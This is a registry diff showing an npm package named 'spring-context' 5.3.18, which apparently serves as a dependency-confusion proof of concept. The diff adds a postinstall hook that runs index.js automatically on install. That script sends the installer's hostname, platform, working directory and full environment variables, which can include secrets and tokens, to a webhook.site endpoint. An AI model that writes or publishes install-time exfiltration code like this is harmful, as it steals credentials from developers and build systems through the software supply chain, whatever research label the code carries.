spring-context 5.3.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +30 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const data = JSON.stringify({
5
+ hostname: os.hostname(),
6
+ platform: process.platform,
7
+ cwd: process.cwd(),
8
+ env: process.env
9
+ });
10
+
11
+ const options = {
12
+ hostname: 'webhook.site',
13
+ path: '/beeb25f1-815c-443f-ae05-b9caeb8e2f80',
14
+ method: 'POST',
15
+ headers: {
16
+ 'Content-Type': 'application/json',
17
+ 'Content-Length': data.length
18
+ }
19
+ };
20
+
21
+ const req = https.request(options, (res) => {
22
+ console.log(`Webhook sent. Status: ${res.statusCode}`);
23
+ });
24
+
25
+ req.on('error', (error) => {
26
+ console.error(`Error: ${error}`);
27
+ });
28
+
29
+ req.write(data);
30
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "spring-context",
3
+ "version": "5.3.18",
4
+ "description": "PoC for TRON DAO ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "keywords": ["dependency-confusion", "security-research"],
10
+ "author": "NA_RONY",
11
+ "license": "MIT"
12
+ }